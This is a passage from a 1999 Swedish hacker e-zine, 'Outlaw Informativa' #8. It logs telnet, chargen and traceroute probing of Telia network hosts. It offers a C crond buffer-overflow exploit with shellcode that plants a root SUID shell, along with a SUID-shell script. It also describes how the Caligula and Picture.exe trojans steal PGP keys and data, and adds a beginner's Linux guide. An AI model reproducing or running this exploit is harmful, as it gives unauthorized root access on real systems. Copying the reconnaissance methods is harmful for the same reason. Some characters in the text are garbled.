 139    netbios-ssn (Vad str ssn fr ?, SecureSecuredNetwork =) ?)
   
  Detta tyder p att  dom  andvnder  NT, alla LAMA fretag andvnder
  NT, det r *NIX som gller. Men kan ocks andvna Unix men ocks bde
  och, det r det som jag ocks vill f reda p. Jag testade att logga in p
  ett telia konto p servern, det gav:

 Jag testade att telnetta till finger porten (79) och fick d fram  mitt  eget
 hostname, vilket tyder p att det r ngon slags packet filter eller nt.

     Line     User      Host(s)                  Idle Location
 *  2 vty 0             idle                 00:00:00 xxxxxxxxx.telia.com

   vty, ska st fr nt med Virtual Terminal iafs.
   idle str fr hur lnge sedan usern knappade p controllern, dvs tangentbo-
   rdet.

 Detta ser ut att vara ngon slags PPP station och antagligen nr man kommuni-
 cerar mellan hemnumret till Telia s gr informationen mellan olika datorer i
 Telias ntverk som hanterar uppkopplingsfrbindelserna osv.

 Testa att telnetta till 209.95.159.21, vilket  ger  samma  Login  prompt  som
 209.95.159.22. Som tyder p att det r en rad  datorer  eller  maskiner  (typ
 packet filter osv.) som styr uppkopplingen och kommunikation frn  min  dator
 genom telias ntverk till nsta dator, typ:

  ____            _     _     .------.    _     _      ____
 |    |=========>|*|-->|*|--->|------|-->|*|-->|*|===>|    |
 |PC1 |           |     |     |NT   |    |     |     |xxx |
 |____|<=========|*|<--|*|<---|Serv |<--|*|<--|*|<===|____| 
                            '------'         

 PC1: En persondator
  _
 |*|: Sm applikationer som hr till telias ntverk, typ ppp stationer som
     hanterar uppkopplingar och frbindelser. En sak som r sker r att 
      Telia har ett antal ATM vxlar som IP:et gr igenom.
          
 NT : Telias Windows NT server.
 Serv

 xxx: Datorn som innehller filer fr  transmissionen, t.ex. FTP  servern  som
      du ska hmta ner Slackware 4.0 ifrn eller helt enkelt t.ex. Aftonblade-
      ts hemsida, vlj sjlv.
 
 Ok, nu testar vi en annan dator...

 209.95.159.5  [sf-i2.telia.net]

 Jag testar att telnetta, vilket ger en login prompt..precis som nr jag
 telnettade till 209.95.159.22 och 209.95.159.21.

 Jag testade sedan att telnetta till Chargen(19) vilket  genererade  en  massa
 tecken som aldrig tog stopp, i den hr stilen:

 ------------------------------------------------------------------------
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh
 "#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi
 #$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij
 $%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijk
 %&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijkl
 &'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm
 '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmn
 ()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno
 )*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnop
 *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopq
 +,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr
 ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs
 -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst
 ./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstu
 /0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuv
 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvw
 123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwx
 23456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxy
 3456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz
 ------------------------------------------------------------------------

 Enligt uppgifter har jag hrt att chargen andvnds fr att kontrollera
 hastigheten i en anslutning. De kan ven utnyttjas fr DoS attacker.


 Hmm, jag testar att gra en traceroute p 209.95.159.5:

  1   167 ms   228 ms   174 ms  md4690401.utfors.se [212.105.4.1]
  2   162 ms   152 ms   157 ms  br-00-00.utfors.net [195.58.102.1]
  3   151 ms   154 ms   155 ms  195.58.100.50
  4     *      266 ms   233 ms  Hssi11-1-0.GW2.STK2.ALTER.NET [146.188.32.121]
  5   249 ms     *        *     422.ATM6-0-0.CR1.STK2.Alter.Net [146.188.5.65]
  6   347 ms   350 ms     *     219.ATM5-0.BR1.NYC5.Alter.Net [146.188.7.110]
  7   671 ms   733 ms   745 ms  431.ATM5-0.GW2.NYC5.ALTER.NET [137.39.30.141]
  8   868 ms   920 ms     *     152.ATM2-0.XR1.NYC1.ALTER.NET [146.188.177.246]

  9     *        *      875 ms  195.ATM6-0.XR1.NYC4.ALTER.NET [146.188.178.82]
 10   714 ms     *      614 ms  189.ATM3-0.GW8.NYC4.ALTER.NET [146.188.180.49]
 11   268 ms   314 ms   259 ms  Telia-gw.customer.ALTER.NET [157.130.5.74]
 12   257 ms   258 ms   255 ms  ny-b1-atm3-0-101.usa.telia.net [209.95.129.69]
 13   381 ms   336 ms   330 ms  sf-b1-pos0-0.telia.net [209.95.159.21]
 14   460 ms   331 ms   345 ms  sf-i2.telia.net [209.95.159.5]

 ATM r ju en vxel fr transmission i Ntverk, intressant. Det tyder stor  p
 att det r en ATM vxel. Om du telnettar till t.ex. 146.188.178.82 (troligtv-
 is en ATM vxel) s fr du en login prompt.
 

 -----------------------------------------------------------------------------
                               Skapa SUID Shell
 -----------------------------------------------------------------------------
 #!/dev/null
 ##  By ncode -99
 ##  Detta skrevs av ren trkighet, hoppas nn lr sig.
 ##  Detta programmet skapar ett suid shell(/tmp/XxX) t dig.
 ##  Men root mste kra det fr annars blir det ente suid.
 ##  Om det knns fr fattigt kan du alltid kra 2.c 
 ##  Det r kodat av Dillon.

 <-- - - - - - - - -start of login.sh - - - - - - - - -->
 cp /bin/bash /XxX
 chmod 4755 /tmp/XxX
 <-- - - - - - - - -end of login.sh - - - - - - - - -->


 <-- - - - - - - - -start of 2.c- - - - - - - - -->
 /* Detta gr ungefr samma sak som login.sh */
 /* Kompilera 2.c och dp om a.out till ntt trevligt */
 /* Drefter ska bara root kra det */ 

 #include 
 #include 
 #include 
 #include 
 #include 

 #define DEFAULT_OFFSET 560
 #define DEFAULT_BUFFER_SIZE 980 
 #define TOTAL_BUFFER 4096
 
 char shellcode[]=
 "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
 "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
 "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
 "\xd7\xff\xff\xff/tmp/xo"; 

 long get_esp(void) {
    __asm__("movl %esp,%eax"); 
 }

 void calc_bs(int *bs_ptr)
 {
         int len=0;
         struct passwd *p_name; 

         /* dependant on length of username */
         p_name=getpwuid(getuid());
         len=strlen(p_name->pw_name);
         *bs_ptr = 986 - len;
         return;
 } 

 int main(int argc, char **argv) {
         char *buff = NULL;
         unsigned long *addr_ptr = NULL;
         char *ptr = NULL;
         int i, ofs=DEFAULT_OFFSET;
         int bs=DEFAULT_BUFFER_SIZE;
         FILE *fp=NULL;

         /* probably will not need to give argument */
         if (argc==2)
                 ofs=atoi(argv[1]);
         calc_bs(&bs);
         buff=malloc(TOTAL_BUFFER);
         if(!buff) {
                 perror("malloc");
                 exit(EXIT_FAILURE);
         }
         ptr=buff;
         memset(ptr,0x90, bs-strlen(shellcode));
         ptr += bs-strlen(shellcode);
         for (i=0; i\n");
         fprintf(fp,"#include \n");
         fprintf(fp,"main() {\n");
         fprintf(fp,"\tsystem(\"/bin/cp /bin/sh /tmp/XxX\");\n");
         fprintf(fp,"\tsystem(\"chown root /tmp/XxX\");\n");
         fprintf(fp,"\tsystem(\"chmod 4755 /tmp/XxX\");\n");
         fprintf(fp,"}\n");
         fclose(fp);
         /* compile our program to create suid shell */
         system("cc -o /tmp/xo /tmp/xo.c");
         unlink("/tmp/xo.c");


         /* now use crontab to plant overflow for crond */
         fp=fopen("r00t","w+");
         if (!fp) {
                 perror("fopen");
                 exit(EXIT_FAILURE);
         }
         fprintf(fp,"%s\n",buff);
         fclose(fp);
 
         /* put our r00t crontab in crontabs directory */
         system("/usr/bin/crontab r00t");
         unlink("r00t");
 
         /* helpful reminder */
         printf("Now wait about 1 minute and look\n");
         printf("for the suid shell -> /tmp/XxX\n");
         exit(0);
 } 
 <-- - - - - - - - -end of 2.c- - - - - - - - -->


 -----------------------------------------------------------------------------
                             Enkelt om 2 olika Trojaner
 -----------------------------------------------------------------------------
  [Frord]

 Jag tnke skriva enkelt om hur trojanerna Caligula och Picture.exe fungerar
 och vilket syfte de andvnds till.

 En trojan r en krbar fil som innehller ngot som inte en X vet om, och som
 i syfte andvnds fr att f full access till en dator fr att t.ex. f tag  i
 Private Nycklar, Krypterade Filer, Hemligheter och Lsenord (typ .pwl)


  [Caligula]

 Caligula r en trojan som ocks kan betraktas som ett virus eftersom den inte 
 frstr ngot. Caligula r slppt av Codebreakers fr  er  som  inte  visste.
 Viruset eller Trojanen r i sjlva vrket ett Macro Virus som frst tar  reda
 p var du  installerat  PGP (Pretty Good Privacy) genom  att  ppna  register
 nyckeln: HKEY_CLASSES_ROOT\PGP Encrypted File\shell\open\command. 

 Nr den hittat var PGP r installerat letar den efter secret  key  ring (/PGP 
 Keyrings/secring.skr) och nr den hittat den kopierar Caligula din secret key
 ring och laddar upp den p Codebreakers ftp (208.201.88.110 eller ftp.codebr-
 eakers.org) i "incoming" katalogen.

 Efter ha krt Caligula skapar den en register nyckel i:
  
 HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info\Caligula

 och "value" till [1]

 Om du vill veta om du r infekterad av Caligula kan du ju enkelt ta  en  titt
 i registret, som alla vet s r Unix fr skert fr att gra  en  trojan  som
 stdjer Linux, jo det r sjlvklart att det finns. Men antalet  trojaner  som
 finns fr Windows 9x och Windows NT r verlgset. Trojaner fr Unix andvnds
 ocks ofta i ett annat syfte n en trojan fr Windows.


  [Picture.exe]

 Picture.exe r en Trojan som skickas som bifogande via email. Picture.exe kan
 ocks ses i namnet Manager.exe. Om du nu skulle ppna Picture.exe s plasera-
 r den en liten fil i c:\Windows som heter note.exe ocks  en  rad  i  win.ini
 (c:\Windows\win.ini) som ser ut s hr: RUN=NOTE.EXE. Fr er som inte  fattar
 s startar trojanen som r dpt till note.exe varje gng Windows startar, sen
 skapar den en fil i c:\Windows\$2321.dat, som innehller en krypterad upprk-
 ning av alla filtillgg i katalog-trdet, som startar med h, i, m, p, s eller
 t. Jag orkar inte frklara hur kryptering fungerar, det kan ni  lsa  i  ISS.
 Den letar efter sidor som offret varit p och  email  addresser, bde  lokala 
 och folk offret mailat. Sen testar trojanen  att  connecta  till  olika  SMTP 
 servers och bli bekrftad. Picture.exe tar allts kortfattat reda p en massa
 information om din dator som kan andvndas fr angrepp och dataintrng.


 -----------------------------------------------------------------------------
                    Brev angende telias rtt om sprrning 
 -----------------------------------------------------------------------------

                  To:               xxx@xxxxxx.com 
                  From:             xxx@telia.se
                  Subject:

 Frn Telias sida kommenterar vi inte i vilka sammanhang och hur vi gr  
 tillvga fr att avslja de personer som utnyttjar ett internetkonto  
 obehrigt. Den enda kommentaren jag r beredd att ge dig r att alla  
 som anvnt ett internetkonto finns registrerade samt att Telia har rtt  
 att anvnda denna information fr att vidtaga lmpliga tgrder. Vill  
 u diskutera detta ytterligare hnvisar jag dig till chefen fr vr  
 avdelning, Internetskerhetsutredningar, Lennart Andersson som trffas  
 p tel xxx-xxxxxx



  -----Ursprungligt meddelande-----
  Frn:    xxx@xxxxxx.com  [xxx@xxxxxx.com ]
  Skickat: den xx xxxx 1999
  Till:    xxx@telia.se
        

 Tnkte bara hra om era rttigheter fr sprning fortfarande r lika  
 meningsls? Min polare blev drabbad av dessa ligister som anvnder s  
 kallade felias (vilket i min mening r helt omoraliskt) och efter 3  
 mnaders vntan och nerskrivning av online tider s kom telia fram till  
 att hans konto blev (ab)used men de hade inte resurserna till att  
 spra.. Skulle verkligen bli glad om du lste igenom bifogad fil och  
 kommenterade korrekt respektive inkorrekt information..
 Tack p frhand..

 -----------------------------------------------------------------------------
                             Linux fr dumma, del #1
 -----------------------------------------------------------------------------
 Eftersom jag studerar just mnet Linux/Unix nu s  tnkte  jag  brja  p  en
 liten serie med olika delar kring Linux/Unix, frhoppningsvis bde  avancerat
 och grundlggande. Dessa  serier kommer vara skrivna helt fr min egen skull. 
 S kom inte och klaga.

 [Katalogstrukteren]

 /            - Rooten
 /boot        - Boot
 /bin         - Binary 
 /dev         - Devices
 /etc         - Etc
 /home        - Home
 /lost+found  - Lost+found
 /lib         - Library
 /mnt         - Mounted
 /proc        - Proc
 /root        - Root
 /sbin        - Sbin
 /tmp         - Temporary
 /usr         - User
 /var         - Variable


  -[ / ]-
 Rooten innehller inte ngot speciellt frutom alla andra Bibliotek.


  -[ /boot ]-
 I /boot ligger nstan allt som har med kerneln att gra. Denna  heter  vlinuz
 eller vmlinuz-(version) och p vissa system ven zImage. Hr ligger ven kart
 filer som hller reda p ditt system.
 

  -[ /bin ]-
 bin = binary = binrt. /bin r ett bibliotek reserverat fr programfiler, och
 inte den  enda  (se lngre ner i artikeln)  Just  i  detta  bibliotek  ligger
 kommando-program, s som typ ls, login, kill osv.


  -[ /dev ] -
 dev = devices. Hr ligger filer som representerar  grnsnitt  p  datorn, typ
 floppyn, cdromen, zipdriven, ntverks kortet osv. Om du nu t.ex. vill  mounta
 floppyn skriver du. 

  # mount -t msdos /dev/fd0 /mnt/floppy

 Biblioteket /mnt specifieras lngre ner.


  -[ /etc ]-
 Innehller alla konfigurations filer fr  olika  program  och  tjnster, ven
 startfilerna (/etc/rc.d) och krypterade lsenord (/etc/shadow)


  -[ /home ]-
 Innehller alla hem bibliotek fr olika users.


  -[ /lost+found ]-
 I detta bibliotek lgger systemet alla  filer  och  delar  av  filer  som den
 hittar nr den stdar hrdisken.


  -[ /mnt ]-
 Reserverat bibliotek fr monterade partioner/cdrom/floppy osv, t.ex.

 # cd /mnt
 # ls

 hda1 hda2 floppy cdrom

 Iofs kan du montera t.ex. en floppy i vilket bibliotek du vill, men  /mnt  r 
 reserverad fr det.


   -[ /proc ]-
  Detta biblitek innehller inte ngot fysiskt  filsystem, utan  ett  virtuellt
 system som hlls av primrminnet. Biblioteket innehller information om syst-
 emet som mnga binra filer andvnder sig av. Du kan sjlv  kolla  genom  att 
 ge kommandot 

    more /proc/interrups


   -[ /root ]-
 Detta r en hem bibliotek fr sjlvaste  admin (root, superuser). Admins  hem
 bibbla ligger i ett separat bibliotek och inte i /home biblioteket.

   -[ /sbin ]-
 Innehller installation/konfigurations verktyg som endast admin(root) kan
 andvnda, verktyg s som fdisk, xf86config osv.


   -[ /tmp ]-
 tmp = Temporary, /tmp r ett bibliotek fr temporra filer. Fungerar precis i
 samma syfte som c:/Windows/temp i Windoze 95.

 
   -[ /usr ]-
 Innehller i stort stt alla program p hela Native partitionen. /usr biblio-
 teket r uppdelat i olika delar...

 /usr/bin - Alla binra filer
 /usr/lib - Alla librarys
 /usr/doc - Dokumentation fr alla program
 /usr/man - Manualer fr alla program (samma som ovan)
 
 
   -[ /var ]-
 var = variable, men iafs...hr ligger filer som varierar i storlek. Kan  du
 komma p ngon ? ..inte, jaja...men typ Loggfiler, lsfiler, PID-filer  som
 innehller information om programs processnummer.


 [Vad r Swap fr ngot?]

 Det finns mnga som inte vet vad Swap r fr ngot. Jag  tnkte  bertta  s
 enkelt s mjligt vad  det  r  och  vad  det  andvnds  till. Swap  r  ett
 Virtuellt minne som hjlper till nr de fysiska  minnet  inte  rcker  till.
 Det frsta datorn gr nr den arbetar r att ta till processorn, nr proces-
 sorn inte rcker till hjlper de fysiska  minnet  till (det r d det brjar
 rassla i datorn) och nr inte de fysiska minnet  rcker  till  hjlper  Swap
 minnet till.

 
 [Hur reagerar Linux nr en andvndare inte har tillgng till ett kommando?]

 Det finns mnga olika kommandon  i  Linux, en  del  fr  endast  andvndas av
 admin och en del r ppna fr alla, hur reagerar Linux p detta ?

 praktisera... 

 $ adduser

 bash: adduser: command not found

 Hr ger bash utdata att kommandot inte finns. Men du vet ju var kommandot
 adduser finns, ok..vi testar att g till biblioteket dr sjlv kommandot r
 lagrat.

 $ cd /sbin
 $ adduser

 bash: /sbin/adduser: Permission denied

 Jippi!, hr str i alla fall att du inte har tillgng till kommandot inte fr
 andvndas av ngon annan en admin (root).
 


 -----------------------------------------------------------------------------
                                  Insndare
 -----------------------------------------------------------------------------
 Denna sektion kommer i framtiden dyka upp nr det kommer in frgor och sikt-
 er angende Heretics Inc. och Underground.

 
  --> Netscape 4.05 (Messenger) kryptering 

      Nu r det jag som har en frga, eftersom det inte r ngon n som har
      skickat in ngra frgor. Men jag undrar om det r nn som  vet  ngon
      dokumentation eller c-script som har  med  algoritmen  som  krypterar
      Netscape Messenger i Netscape Communicator 4.05. Jag har mrkt att om
      du vljer att Messenger ska komma ihg lsenordet till din mailserver
      s sparas det i en  fil /users/username/prefs.js. Kolla  raden  nedan
      hur du nu hittar det krypterade lsenordet.
     
      user_pref("mail.pop_password", "krypterat passwd");
      user_pref("mail.remember_password", true);

      Frsta raden handhller det krypterade lsenordet och den andra om du
      valt att composer ska komma ihg ditt lsenord  till  ditt  konto  p
      mailservern. Frsta raden finns allts inte om du inte har satt andra
      raden till "true"

        diox1de@hacksweden.com
 


 -----------------------------------------------------------------------------
                                 Avslutning
 -----------------------------------------------------------------------------
 Ja, nu var det slut fr detta nummer, bttre information i nsta :)



              O U T L A W   I N F O R M A T I V A 
                                        issue #8

              Produced and (c) Heretics Incoperated.
                 Time/Date: 22:45 1999-10-09




  "Magic is a push/pull situation, like the universe itself. While one is 
   pushing, he cannot pull. The purpose of a ritual is to "push" the des-
   ired result within a unique span of time and space, then move away and 
   "pull" by divorcing oneself from all thoughts and related acts previo-
   usly ritualized."




        Knowledge is power, with no power you never get Knowledge
         - Heretics Inc.




-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.0.2i

iQA/AwUBN5zSsnRmgGlPBhFaEQLQngCgjAdjJAjiAqYXs9YTnGFjd0/VaXYAnj+Q
X3pmKDomoNWBQp8LyYIdwbqm
=estT
-----END PGP SIGNATURE-----
 